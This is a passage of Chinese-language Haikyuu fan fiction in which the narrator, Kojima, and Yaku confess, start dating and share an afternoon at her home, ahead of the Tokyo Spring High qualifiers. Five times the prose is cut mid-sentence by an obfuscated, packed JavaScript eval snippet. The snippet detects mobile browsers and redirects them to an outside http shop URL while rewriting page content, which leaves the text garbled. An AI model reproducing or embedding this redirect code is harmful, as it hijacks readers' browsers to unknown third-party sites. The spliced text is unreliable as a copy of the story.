……细致铺好的石砖向前蔓延，下两步台阶便能看到其下的那一大片粉白相间的、开得艳丽的花丛，靠着爬满了爬山虎的墙静默地盛放着，偶尔被风吹过时又掀起细碎的草叶摩擦声。 我微微睁大眼睛，“好漂亮！” 闻言，已经松开我的手上往前走了两步，将背着的吉他松下、小心翼翼地靠着花丛侧边的花坛放好的夜久前辈侧目望过来，语气带上明朗的笑意，“是吧？这里每年到这个时候都会开很漂亮的花，要不是太偏僻难找没准可以变成很火的打卡点呢。” 我跟着一起走了两步，最后停在花丛前方的阶梯前边，借着稍高的台阶惊叹地四处看了一圈，闻言，稍有些好奇地侧目看向台阶下的夜久前辈，问：“那夜久前辈是怎么找到的？” 他正偏头往回望着什么，听到我的问题不自觉顿了两秒，随即抬眸朝我看过来。 我跟他对视两秒，便听夜久前辈笑着回：“因为我是在这附近长大的呀，小时候常会来这附近玩，是偶然一次突然发现的。” 啊，原来是因为夜久前辈是在这附近长大的，所以才会……等等。 ……什么意思？什么叫是在这附近长大的，这里不是我们一块出来玩的商业街附近吗？ “虽然很想直截了当地进入正题……但总觉得还是要先说一下，”还没想明白时，夜久前辈便忽地出声打断我的思绪，“最开始做攻略的时候我是正常做的哦，小岛。” “只是发现选择的乐器店正好在这附近的时候……稍微有一点私心地把行程排到了最后。” ……等等。 仿佛是预感到了什么、心脏在我尚未有个明确的定论前便已经不争气地狂跳起来，我呼吸滞住，连大脑都有些空白地望着夜久前辈。 ……等等？ 不是、等等…事情不会是我想的那样吧……人真的能幸运到这个程度吗？ 于我惶然的、不可置信的目光中，夜久侧身，从旁边被台阶边缘立起的石柱遮挡住的地方捧起一束花——我莫名福至心灵地意识到他刚刚在偏头看什么了。 他看起来同样忐忑而紧张，只是望来的视线始终是坚定又毫不偏移的……反倒是我多少有些受不了他的视线了。 ……但移不开视线。 就像感觉脚下生根了似的动不了那样、完全移不开视线。 “虽然依旧觉得这有些太草率、太不郑重，毕竟我总觉得小岛游绘合该拥有世界上最好的东西——但我想我应该很难再找到这样的机会了。” “……所以请原谅我吧，小岛。” ——目光偏移，划过他蔓上红意的脸颊、耳朵、脖颈，我最后有些怔忪地望着他的眼睛。 ……这还不够郑重吗。 垂眼看着面前虽然夜久前辈并不确定是否能找到合适的时机、但依旧提前准备了的花束，我有点茫然地在心里发问 ——这还不够郑重吗？ ……如果这都能算是需要原谅的东西的话……世界上也没什么可以被原谅的东西了吧。 看着花、再看着面前正紧张望着自己的前辈，我不自觉抿紧了嘴唇，连指尖都隐隐颤抖起来。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17309430|198759||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >“我——” “——夜久前辈。”我嗓音微颤地打断他的话。 “……我已经注意你很久了。”我语速难得快起来，一股脑地将所有我曾以为这辈子都会埋在心底的话口朝下翻过来地往下倒。 “你还记得吗，我们第一次见的时候。” “……我知道、我知道你的回答也许是从灰羽找我搭话的那一刻开始的——但对我来说不是。” “……在此之前，我在四处乱看的时候不小心和你对视了一眼。” 就算是现在，再次回想起当时的感觉我还是有点忍不住的头皮发麻，于是不自觉抿了抿嘴唇，垂下眼，实话跟他说：“……我当时觉得那次对视是我迄今为止最倒霉的事情、那天也是我迄今为止最倒霉的一天。” “出门没看天气预报、去便利店避雨的时候跟完全不认识的前辈对视、被不太熟的同班同学叫住、被很多很多不认识的人投来他们本人可能并不在意的视线、甚至其中就有我那个跟我对视的人。” “……一切都糟糕透了。” 时隔数月，我终于有些丧气地抱怨起这件事情。 “按理来说，经历这些事情之后，我直到现在想起那一天时应该都是那种【糟糕绝望到恨不得立刻失忆】的心情。” “……但现实、稍微出了点差错。” “现在回想起来……那天给我留下最大印象的东西是你的名字。” 我用指甲掐了掐自己的指腹，不自觉轻声念他的名字。 “夜久卫辅……YakuMorisuke。” “……YakuMorisuke。” …… “……夜久前辈，我现在觉得那天是我人生中最幸运的一天了。” “因为我遇见了你。” “能遇见你、能被你看到、能被你在意、能被你注视……真是太好了。” “好幸运、好幸福……让我这样的人也不自觉地有些贪心起来了。” “……我想和你永远在一起，夜久前辈。” “请和我交往吧。” # ……被抱住了。 眼泪顺着脸颊滑到下巴，再没进拥住我的男生衣领，温暖的气息扑面而来，令人安心的皂角味缭绕在鼻间，我揪着他的衣角，却无端有些鼻酸。 ……人在幸福的时候会想要落泪，原来是真的啊。 81. 第八十一个小岛 对交往没什么实感。 闷不吭声地坐在台阶上，时不时吸吸鼻子，再擦擦虽然已经止住很久但依旧持之以恒给酸涩眼眶蒙上水雾而有些湿润的眼角，我没隔两秒就不自觉看眼旁边跟我一块坐在台阶上的夜久前辈，安静两秒，又再看去一眼。 气氛莫名陷入一片尴尬的沉默中，两个刚刚确定交往关系的人后知后觉地齐齐感到丝对身份转变的别扭与不适应，于是纷纷陷入彼此杂乱的心绪中。 我对现在僵持的安静氛围适应良好……不如说现在再跟夜久前辈有什么交流才多少会让我有些不适应。 砰砰的心跳声持之以恒地响在耳侧，我安安静静地陷进自己的世界中，直到现在都感觉有些不真实——也可能不止一点。 不自觉回想起自己刚刚不经思考连筛选都没有就通通倒出来的、从未跟任何人说出口、也从未想过要说出口的内心剖白，我有点羞耻地啪地一下将脸埋进掌心，忍不住从喉咙里挤出丝微不可闻的呜咽。 ……我刚刚到底都在说些什么啊，为什么突然觉得之后会没机会说所以一股脑地全倒出去了……“我想和你永远在一起”什么的……呜。 ……但、但是。 ……真的被接住了。 指腹贴着自己滚烫的脸颊，我却感受到正微微瑟缩着的指尖。 不自觉地抿起嘴唇时、唇角也不受控制地自发勾起，我不吭声地深深吸了口气，微凉的气体便这么灌进肺部，有些冷，却也的确成功地让我稍微冷静下来了一点。 呼吸间带起的气息萦绕在鼻间，久了我便有些被闷得难受，慢腾腾抬起头来，下意识先看夜久前辈一眼，却恰好望进他看来的视线中。 我几乎是和他一起在那一刻就被火撩到似的条件反射地收回视线，又忍不住想像鸵鸟那样把脸埋回去，却被夜久及时出口制止了，“先等等！” 我呼吸停滞了一瞬，随即下意识循着刚刚的位置望过去，却没望见他的眼睛，只穿过一片空气望见台阶最那边的石柱。 眼前落下一片阴影，我意识到后便重新抬头看过去，视线追着他移动，直至看见他单腿后撤原地在我面前蹲下时，才后知后觉地意识到什么。 ……夜久前辈手里抱着刚刚被他情急之下随手放在地上就转而去接我的花。 这么想的话，他似乎从刚刚开始就一直默不作声地将有些乱掉了的花一点一点整理好，于是被递到我面前的花束和最初并没什么两样（也可能有区别、但我刚刚一点注意都未曾放在这束花上，既然有区别也看不出来的话就干脆直接当做没区别吧），依旧珍贵、依旧漂亮，不同种类却同样盛放着的花朵层层叠叠地堆叠在一起。 我对花的种类完全没了解，放眼望去竟除了特征显著的满天星之外没有一个对得上名字，花多为浅色系，最深的应是衬托用的叶子，但很漂亮。 潦草扫过一眼，我便有些怔然地望着蹲下后正好与我持平的夜久前辈。 ——他正静静地、专注异常地盯着我。 这个眼神……很眼熟。 我曾无数次在排球场外看见过这副模样的夜久前辈，但……还是有些不一样的地方的。 明亮的、专注的、坚定的、凌厉的，与赛场上的他相比少了点锐气、又比往常的他多了点不算锋利的攻击性。 “小岛。”他语气认真地这么叫我。 “我始终为人生中可以出现你而感到庆幸，” “能与你相遇、相识、结缘，这于我而言同样是一大幸事。” “天、周、月、年，” “我都想和你像现在这样走下去、不管发生什么事。” “我喜欢你，小岛。” “我喜欢你。” “……所以、请问。” “小岛游绘同学，你愿意和我交往吗？” 他含笑着望着我，像全世界除他之外只剩下我一个人那样。 ………… ……搞什么啊 眼泪再次润湿了眼眶，我忍不住抿紧嘴唇盯他半晌，忽地伸手，指尖跨过片花海触到他眼角。 眼睫蹭过指腹时带起些微存在感明显的痒意，我于是下滑，碰了碰他面颊。 指尖微微 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17309431|198759||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 陷进柔软的皮肤时，我触到抹同样灼热的滚烫温度。 ……明明知道我不会拒绝的吧，夜久前辈。 “我愿意。” ……那就如你所料好了。 “……我愿意。”我这么重复道。 # 之后没再有其他的行程，天色在两点半出头的时候就已经彻底阴沉沉地暗下来了，乌云沉甸甸地停在头顶，不知道什么时候就会突然哗啦地落下雨来，夜久前辈便重新拿起被好好放在旁边的吉他，朝我伸出手，道：“我送你回家？东西还蛮多的，自己拿回去可能会比较困难。” 这是实话，上午的精品店逛下来就装了两个不算小的纸袋，再加上吉他和花束，虽然一个人也不是拿不了，但会有些吃力是必然的。 我于是斟酌两秒，便没怎么犹豫地应下，“好。” 虽然平时会小心地不暴露家庭住址，毕竟不能搬家的话，独居暴露家庭住址多少会有些不安全（这是阵平哥他们之前千叮咛万嘱咐过的，我有好好记下，而且我也很怕有人莫名其妙地来我家……请不要污染我唯一的净土），但夜久前辈没有关系。 他可以来。 握住夜久前辈伸来的手借力站起来，我拍掉衣服上粘到的草叶，再理了下起了褶皱的衣摆，便拎上小包和放在旁边的花束，垂眼盯了怀里的花一会儿。 之前好像有刷到做干花的视频……回去看看能不能再搜出来吧，想把这一整束花都好好保存起来。 这么想着，我看了眼正在等我的夜久前辈，安静两秒，再抬头看看周围一片陌生的景色。 完蛋了来的时候满心沉浸在跟夜久前辈牵手这件事完全没记路我现在连往左走还是往右走都不知道…… 面色微微僵硬两秒，我沉默片刻，刚想说什么，就看到夜久前辈再次摊开到我面前的手掌。 他轻笑着问我，“要牵手吗？” “……” 很不争气地再次红了脸，我沉默半晌，在他作势要收回时条件反射地伸手攥住他的，随即迎着他失笑的眼神默不作声地撇开视线，“……要。” 82. 第八十二个小岛 回到储物柜拿上了之前暂时存在里面的几个购物袋，我们便一块去了电车车站。 电车里的人不算很多，仔细找找也不是不能找到连在一起的座位，但我们东西偏多，加上吉他加上琴盒实在太占位置，我们就没去找位置坐下，而是在车厢边缘找了个地方站着。 我没什么所谓，毕竟坐电车回家也要不了几站，不至于站累。 但站在车门旁靠墙的位置、偏头看向窗外时，我突然想到个之前没反应过来的事情。 ……虽然电车站离商业街有段距离、商业街离乐器店也有段距离，但没记错的话这三个地点是呈一个三角形的三个顶点分布的来着，乐器店和电车站其实离得不远。 当时从乐器店出来跟夜久前辈去那个很漂亮的小公园的时候虽然走了很长时间，但中途有绕过路，其实直线距离完全算不上远，而夜久前辈又说自己家就在小公园附近…… 两相代换，我意识到一件稍微有点让我诧异的结论。 ——这么说的话，夜久前辈的家不是离电车站不远吗？ 有点突然的，我回想起前段时间从游乐园回家的时候从夜久前辈口中得知的他回家需要下的电车车站。 当时没记多深，给我留下的印象也仅是从游乐园回家的话我早夜久前辈两站下车，具体名字的话我没记下来、毕竟对于我而言除了家附近的那个电车站的名字之外其他都属于是陌生词汇的那种。 但现在回想起来，当时从夜久前辈口中听到名字、似乎和这次目的地的电车站名字是一样的……啊。 意识到什么，我下意识抬眼，望向正站在我身旁、有意无意将我护在内侧的夜久前辈。 ……所以，其实来我家那个电车站碰面对他来说其实并不顺路吗。 # 车站离我家大概有十五分钟多一点的路程，离开车站我便主动站出来带路。 不过我自己对这段路其实也称不上多熟来着，虽然记得具体路程，但以防万一，我最开始一段路程还是摸出手机看了眼导航。 跟夜久带我走时轻车熟路的样子没有一点相似之处，甚至有种我其实也从其他地方刚搬来这附近不久的感觉。 不过想到是我总感觉也情有可原了起来……看起来就像会永远闷在家里的那种类型啊。 夜久如是想到。 直到进入我家附近的街区，我才终于退出导航软件，抬头观望两眼，伸手远远指了个方向，转头跟夜久前辈道：“我家就在前面……那里一点。” 说到一半莫名有点不自在地停顿两秒，我小时候收了点音量，有点犹豫地回想了一下。 家里……家里应该没有很乱。 虽然我在家的时候一向除了睡觉之外的其他时间都窝在客厅、用的东西自然也大多会堆在那里，但因为平时有定时收拾的习惯，所以虽然走前因为没有想过要带夜久前辈回家而没有特意收拾、但应该也不至于乱到那个程度。 应该只会是稍微有点杂乱的程度……吧。 想到这里连自己都莫名有些忐忑，我安静两秒，小小声补充一句，“……家里可能会有点乱，走之前没有特意收拾……来着。” 只是想着帮忙把东西送到我家就走的夜久：？ 他迟疑两秒，以为只是些惯常的客套话、毕竟如果是他让我来他家的话不出意外也会说出这么一句来提前打个预防针，便犹豫两秒，“……没事。” ……之前完全没遇到过这样的情况，都是去同学或者同社团的队友家里，彼此之间也不会说这些话……完全不知道怎么回。 ——于是莫名其妙就一路无话了。 到家门口时我盯着门锁看了半晌，深吸口气，按下莫名有点紧张忐忑的心情，将钥匙插进锁孔。 “家里平时不怎么来人所以就没有备多余的……这是我哥哥的拖鞋，不介意的话可以穿一下。”我莫名开始紧张地话多起来，“……下次会准备的。” “……倒也不用这么紧张。”见我比他这个客人还更拘谨一些，夜久莫名地放松了点，甚 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17309432|198759||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 至有意缓解我紧张情绪地调侃道，“也不至于把刚交往的男朋友当洪水猛兽吧？” 听到那个代称，我不自觉飘了飘视线，深吸一口气憋了一会儿，半晌，才有点含糊地应了声，“……嗯。” “……怎么还承认了？”夜久这下是真有点哭笑不得了，他将琴盒靠着玄关的墙壁放好，随即微微弯腰，伸手按着正蹲在鞋柜前拿拖鞋的我的头发揉了下。 他随即跟着蹲下，接过我卡在半空中的手掌中拿着的拖鞋，正准备拿走时，却又瞥见我一向掩在发丝中看不清楚、此刻却因为要蹲下拿东西将有些挡视线的发丝别到而后而暴露无疑的耳朵和侧脸。 暴露在空气中的耳朵连着其下那一截脖颈都泛起格外明显的红意，连带着侧脸都带着染上抹淡淡的粉色。夜久盯我两秒，不自觉勾起唇角笑了下。 ……又害羞了啊。 望着我注意到他的视线后浑身都极明显地僵了一下，有点慌乱地四处瞟了两眼，最终却有点自暴自弃地将脸埋进横在膝盖上的手臂间，夜久又看了眼我红意更胜的耳朵，忍不住失笑起来。 “……”听到他在安静的空气中显得格外清晰的带着笑声的气音，我只觉得脸颊更加热起来，“……别笑了。” 我闷闷道：“干嘛突然说这种话……” 下一秒，我听到他连掩饰都不掩饰了的笑声，忍不住抬头，有点恼地瞪他一眼。 但他已经直起身了，顺手又按了按我的发顶，问我，“东西放哪？” “……还说我转移话题得明显。”我皱皱鼻子，嘀咕着抱怨一句，但还是乖乖回答，“吉他放到沙发上就好了……别的放到沙发旁边就好。” 一边说着，我一边揉了揉涨红的脸，伸手将旁边被我放到地上的购物袋拎起来，便率先往客厅走。 ……不管怎么说，我还是知道第一次去别人家里没人领着的话会感到不自在的。 至少不能把夜久前辈丢在第一次来的地方……就因为这个地方是我家我才更不能这么做。 83. 第八十三个小岛 我家是那种很简约的现代装修，白墙白地板深灰沙发和深灰矮柜，客厅中央的茶几也是深灰色的，一眼看过去黑白分明地冷清，但除去这些，摆在客厅的其他东西又相对可以弥补这一点。 看了眼生活气息明显的客厅，再草草看了眼冷清地有点异常的一楼其他地方，夜久不禁稍有些疑惑。 风格割裂得好明显……莫名有种跟想象中不太一样的感觉。 这么想着，他按着我刚刚的话将吉他放上沙发，便转而将视线投向我，看着我将几个购物袋放到地上后便轻车熟路地坐到茶几与沙发的空隙中，随即见他站在原地迟迟不动，不禁有些疑惑地望向他。 夜久稍有些犹豫地下意识望了眼楼梯，我莫名从其中望见点心虚的感觉，随即便听他斟酌着提议，“东西送到了……我就先走了？” 我正准备将茶几上的东西收起来的动作一顿，终于想起来夜久前辈最初没有说要来我家，只是说要帮我将买回来的、我一个人不太好拿的东西拿回来，来着。 ……啊。 下意识当是要来我家玩来对待了……本来还以为可以再和夜久前辈呆一会儿的。 稍有些遗憾地抿抿唇，我仰头看他一会儿，随即重新撑着茶几站起来，两步跨到他身前，慢腾腾地“哦”了一声，“……行。” 他察觉到什么，微微矮身看我眼，“怎么了？……啊，来拜访的话什么都不带会很失礼的。” “……不管怎么说，还是会想给你家里人留下一点好印象的啊。”夜久这么道。 闻言，我微妙地沉默两秒，突然想到他刚刚往楼梯上瞥的那一眼。 我意识到什么，不禁有点欲言又止地再看他一眼，“……夜久前辈。” 他：“嗯？” “我是独居、来着。”我实话实说，“如果说哥哥的话，你其实已经见过了。” “……欸？？”但是这种一户建一般不都是一家人住在一起的吗，为了上学在学校附近租房子的话一般不也会选择更安全的公寓……等等。 他忽地意识到什么，下意识抬头看来，刚想说什么便被我提前预料到般地开口打断。 我很诚实地说道：“只是不和父母住在一起而已，而且学校也离得很近，我没关系的。” 嗯……虽然意思和现实毫无相似之处，但我其实完全没有说谎来着。 的确没有跟父母住在一起、的确离得和学校很近、我也的确对此感到没关系、也已经习惯了这件事。 虽然一户建普遍各方面的条件都不太好，不隔音、不保温、不安全，但可能是我那对不负责任的父母最后的良心，我家没有出现上述的任何一个问题。 需要自己扔垃圾垃圾分类的缺点对我来说其实也算不上什么，我会按时请钟点工，大部分垃圾便不用操心，剩下小部分我上学路上顺便垃圾分类地扔一下也不麻烦。 不愁花销，加上大部分事情都可以用钱解决，万事都很方便……这样的生活其实没有多难过，而且从小到大一直都是这样，我其实已经习惯了来着。 这么想着，我下意识看了看夜久前辈的神色。 我看不大出来他信了没有，只定定地望了他一会儿，随即带点希冀地、小声地问：“……所以，夜久前辈。” “如果我不介意你来拜访的时候没有带东西的话，你愿意再陪我呆一会儿吗？” # 成功把夜久前辈留下来了。 重新盘腿坐在沙发和茶几的空隙中，我后背靠着沙发，将刚刚翻箱倒柜翻出来的遥控器攥在手里，一边没什么目的地随便按着按钮，一边不自觉地用余光看向坐在我身旁的夜久前辈。 气温刚降不久的时候我就在我常呆的客厅的这一小块区域铺了地毯，是防滑的那种瑜伽垫的那种（不是毛毯……这个天气铺毛毯就有些太热了，我还没冷到感官失调的地步）。 也因此，就算我忽略沙发选择直接坐到地上，夜久前辈也没发出什么疑问，很自然地弯腰坐到我身侧。 我们离得不算很远，但也远远没到近的地步，差不多隔了有 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17309433|198759||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 十多厘米，是一个隐约能感觉到彼此存在、但并未实际贴上的距离。 ……有点想再近一点。 这么想着，我忍不住又侧头看了他一眼，却忽地对上他有些疑惑的目光。 “怎么了？看我干什么。”他稍有点疑惑地这么问我。 我在望见他眼睛的那一刻便猛地下意识转回来，盯着面前的茶几看了半晌，闻言不禁下意识张了张嘴，嗫嚅两下，下意识随口扯了个借口道：“……不知道看什么，夜久前辈有什么想看的吗？” 闻言，夜久想了想，朝我摊开手掌，示意我将遥控器给他，我照做。 最后林林总总将有的几个挨个看了一遍，我们挑了一部说是比较经典的卡通电影……虽然说是很经典、几乎要到家喻户晓的程度啦，但我依旧对此没什么了解来着。 夜久在发现我没看过的那一刻便露出了一副很惊讶的表情，随即便毫不犹豫地选择了那部电影，说是一定要让我看一遍、不然人生都不完整了什么的……好夸张。 但我的确被勾起了一点好奇心……所以就一起看了。 电影一个半小时左右，是颇有童话感的故事，但我看了一半才发现自己其实说不上没看过，没记错的话应该是刷到过全片解说……我终于意识到那若有似无的熟悉感是从何而来的的了。 但我大概是那种就算知道接下来的剧情发展也可以正常将接下来的电影看完的人，加上电影的确蛮有意思，便一声没吭地看完了。 结束的时候天已经黑透了，刚好到晚饭时间，我便顺势留夜久前辈在家吃了晚饭（虽然依旧是外卖），最后一切结束，夜久前辈走的时候已经快要七点了。 他拒绝了我送他去车站的提议，将我按在玄关，伸手摸了摸我的头发，朝我弯起眼笑了下，问：“今天开心吗？” 我站在原地踌躇两秒，主动上前了一步，很轻地跟他贴着抱了一下，闻言肯定地点点头，“开心。” 顿了顿，我接上一句，“……明天见。” “明天见。” 84. 第八十四个小岛 虽然因为前一天晚上说了“明天见”而稍微对第二天升起了一丝期待，但事实上，第二天跟往常其实没什么不一样的地方来着。 在学校的时候，我跟夜久前辈的相处时间其实不是很多，早训、午饭、部活，除此之外的时间基本碰不上面。 毕竟我们一个是一年级一个是三年级，教室离得很远，放学下训的回家路上也并不顺路。 关于不顺路这点……说起来还蛮倒霉的，我跟夜久前辈回家的路完全不是一个方向。 出校门后一个往左一个往右，我往左走二十来分钟回家，他往右走二十来分钟去通勤的车站，加上离我家近的那个车站的话，四个地方刚好在同一个水平上连成直线。 虽然一定要一起放学的话也不是不能他陪我回家再去离我家近的那个车站、或者我跟他去他通勤的车站再坐一小段电车回家……但这就太麻烦了，未免有点没必要。 所以这么算下来其实跟之前没什么太大的区别来着……中午在一起吃饭、训练休息的时候凑到一起、放学下训的时候偶尔一起去便利店，跟之前都没什么区别。 ……其实最开始莫名有点失落来着，但后面意识到其实我们有机会就凑在一起的行为已经能满足“情侣”这两个字的相处方式、再往后就要涉及更亲密一些的行为之后，失落就突然转变成庆幸了。 虽然这么说有点奇怪但是没有再进一步真是太好了……我连牵手都还没适应好。 主动抱夜久前辈的那一次应该是被交往的事实所带来的冲击冲昏了头脑，反正我之后没再有这么做的勇气了。 而且之后逐渐忙碌起来的日子也让我没什么精力去想这些事。 因为十月中旬的期中考将临，文化祭后学校的学习氛围从某一刻开始突然浓厚起来，可能是因为已经不管是大考还是小测成绩都稳定地处于前三，老师们对我的注意程度也逐渐加码，就连跟班主任请假的时候都被问了一嘴原因，明明之前都没被卡过的。 “搞得我压力好大。” 坐在便利店门口的长椅上低头啄了一口刚买来还有些烫的味噌汤，我有点抱怨地这么跟夜久前辈道。 他认真地听我说话，闻言也跟着叹了口气，“真是辛苦你了……不光自己复习，还得给排球部那几个补习，免得他们挂科之后被扣在学校里不能参加合宿。” 提到这事，我转头看眼因为成绩不错同样被列入给后辈们补习人员的夜久前辈，想了想，不禁感同身受地“唉”了一声。 两个肩负补习重任的人在便利店门口齐齐沉默着默哀了一会儿，随即，夜久前辈率先转移话题，提起另外一件事。 “你明天要请假？”他不自觉有点担忧地转头看我眼，问，“发生什么了吗？” “……啊，我没说过吗？”闻言，我慢半拍地回想了一下，有点迟疑地反问。 “是我哥哥他们明天警校毕业典礼啦，好久以前就答应他们要去了，虽然我其实不太懂警校有什么好参观的就是了……毕竟已经见过他们的朋友们了。”没想起具体的，我便尽量详细着说了一下。 夜久稍有点惊讶地“欸”了声，“恭喜啊，之后就是正式警察了。” 他的神情无端有一种“发现认识的人是成为了一直活在话语中的那类人”的感觉，我想了下，觉得如果是警察这种常以各种各样的形态出现在生活里快被神化了的职业的话，有这种心情属实正常毕竟我最开始知道阵平哥他们准备考警校当警察的时候也很惊讶来着。 我于是体贴地没有对这句话做出什么回应，安安静静地等夜久前辈消化完这件事，才有点犹豫地问他，“夜久前辈，我听仁花她说他们都在为可以和音驹完成垃圾场决战而努力……这有什么说法吗？” 仁花是在我们经理私下建的一个小群里说的，我平时不常看消息，看到的时候她那条已经被三两个话题顶上去了，就没好意思问。 刚刚突然想起来了……干脆问一下。 就在我问出口的下一秒，我 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17309434|198759||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 看见夜久前辈堪称是瞬间转过头，以一个非常震惊的表情看向我，颇感匪夷所思地问：“你不知道？” 我：“……我不知道啊。” 夜久前辈震撼地盯我一会儿，不知道想了点什么、似乎是把自己说通了，随即有点恍然大悟地“喔”了一声，“倒也不奇怪……黄金周合宿跟他们一年级科普的时候你还没加入，后面大家就默认所有人都知道了不会再说、平时也不会有事没事提起来……” “……好完美的错过啊。”我不自觉感慨，随即难免被他的反应勾起了一丝好奇，追问道，“所以是什么？” 夜久组织了一下语言，“唔……是猫又教练和乌养教练的一个约定。” “两位教练很早就认识，所以连带着两所学校也跟着关系十分密切，经常组织合宿和练习赛，是互相竞争的对手。” “不过虽然说是对手，但我们两所学校这么多年直到两位教练都隐退了，也从来没有在正式比赛上交手过，时间久了也随之成了一个执念。” “——哦，对，猫又教练是这两年刚返聘回来的，乌养教练则没有，目前还在医院修养。”夜久想到什么，补充道。 “至于‘垃圾场决战’的名字，其实是一个谐音梗来着。” “乌野（karasuno）是乌鸦（karasu），我们是猫，所以两所学校之间的对决被称为‘垃圾场决战’了。” “很有意思吧？”他侧眸朝我看来，这么问道。 我真心实意地点点头，“是挺有意思的，是体育竞技专有的浪漫啊。” 顿了顿，我想到什么，“所以，前辈们非常看重春高也有这个原因吗？” “因为打进全国才有机会实现垃圾场决战什么的。”我猜测道。 闻言，夜久前辈肯定地应了一声，“当然有了，不过应该只占了其中的一小部分吧。” “毕竟春高是高中的最后一场比赛了，不管怎么说也还是不想留下遗憾啊。”他这么道。 85. 第八十五个小岛 不想要留下遗憾……唯独这点，我想我们排球部的所有人的心情都会是相同的。 哪怕是看起来一向没什么干劲的研磨前辈也是。 我吹了吹还是有些烫的味噌汤，慢吞吞了喝了一口，感受着温热的液体滑入食道、将浑身上下都染上温暖的热意，语气平和地像是在诉说一个已成事实的结论。 “会的。” 赢下比赛也好、输掉比赛也罢——我们都会不带遗憾地迎接最后的时光。 夏天还没过去呢。 # 请假去参加了一趟阵平哥他们的警校毕业典礼之后，期中考便紧接着到来。 这次的分差没上次的大，第二名稍微追上来了一点，目前大概还差了五六分的样子……周围人看过来的那种“不愧是她啊”的眼神让我稍微有点不适应，不过总体也还算可以接受。 除此之外，排球部全员这次考试都一次通过，考得都还可以，没出什么问题，也没耽误之后跟枭谷联盟的其他几所学校的合宿。 仁花传来乌野打赢白鸟泽拿到全国入场票的消息不久后，十一月中旬，东京的决定战也跟着到来了。 体育场门口，代表参与决定战的四所学校的旗帜高高竖起，颜色鲜艳地在风中摇曳。 刚下了大巴车，我的注意力便迅速被音驹鲜艳的红色旗帜吸引，不自觉有些怔愣地停在原地仰头注视了一会儿，心中莫名升起一抹感慨的情绪来。 都走到这里来了啊，音驹的大家。 时间过得还真快，明明总有种最开始IH预赛的那场比赛才刚过去的感觉，但现在脚下踩着的土地上的人们却又实打实地正在为春高预赛的决定战而做着最后的准备。 观众在体育馆门口排着队准备入场，男排女排的球员也在广播声中逐一前往入场。 进场之后的事情依旧不少，确认信息后签到，再提前去熟悉一下场地，还需要跟一齐跟来的拉拉队核对一下后续应援的流程。 “超——激动的！”熟悉的棕发双马尾的初中生学妹兴冲冲地这么说着，顺便举起背着的一个非常大的喇叭递给我看，“小游学姐你看！这是我的秘密武器哦！” “是的哦，”灰色长发的灰羽姐姐笑眯眯地这么道，“声音很大很有穿透力，指挥绝对没问题。” “那待会的应援就辛苦你啦，小茜。”我好脾气地应道。 按照赛事安排，女排的比赛会在男排之前开始，音驹拉拉队的大部队大概会过半个小时、等女排比赛过半的时候再来，山本前辈的妹妹小茜作为拉拉队队长兼排球迷因为觉得女排的比赛同样值得一看所以提前来了，灰羽的姐姐艾丽莎则是跟小茜一块来的。 比赛对手和场地的抽选结果在刚刚进场前便已经出来了，我跟小茜简单说了一下待会儿的场地安排，以便拉拉队可以提前就位，确定没有遗漏后便先一步离开去找因为还没到自己比赛而去休息区等待的其他人了。 休息区这会儿只有我们音驹，气氛不算紧张，但多少能看出些赛前的紧绷感。 我找到位置出现他们面前时，这群人就像是紧绷状态下敏锐察觉到风吹草动就有点应激的猫一样瞬间抬眸看过来，发现是我时才松下来，纷纷收回视线。 